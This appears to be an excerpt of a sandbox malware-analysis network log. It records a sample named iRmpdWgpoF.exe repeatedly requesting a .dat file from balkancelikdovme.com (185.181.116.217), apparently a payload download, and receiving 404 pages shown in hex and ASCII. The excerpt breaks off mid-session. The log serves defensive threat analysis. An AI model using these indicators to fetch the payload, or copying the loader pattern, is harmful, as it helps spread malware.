Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:17 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:17 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:17 GMT vary: User-Agent
2025-01-10 21:37:17 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:18 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:18 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:18 GMT vary: User-Agent
2025-01-10 21:37:18 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:19 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:19 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:19 GMT vary: User-Agent
2025-01-10 21:37:19 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:20 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:20 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:20 GMT vary: User-Agent
2025-01-10 21:37:20 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:21 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:21 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:21 GMT vary: User-Agent
2025-01-10 21:37:21 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:22 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:22 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:22 GMT vary: User-Agent
2025-01-10 21:37:22 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:22 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:23 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:23 GMT vary: User-Agent
2025-01-10 21:37:23 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:23 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:24 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:24 GMT vary: User-Agent
2025-01-10 21:37:24 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:24 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:25 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:24 GMT vary: User-Agent
2025-01-10 21:37:25 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:25 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:25 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:25 GMT vary: User-Agent
2025-01-10 21:37:25 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:26 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:26 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:26 GMT vary: User-Agent
2025-01-10 21:37:26 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49743	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:27 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:27 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:27 GMT vary: User-Agent
2025-01-10 21:37:27 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49744	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:28 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:28 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:28 GMT vary: User-Agent
2025-01-10 21:37:28 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49745	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:29 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:29 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:29 GMT vary: User-Agent
2025-01-10 21:37:29 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49746	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:30 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:30 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:30 GMT vary: User-Agent
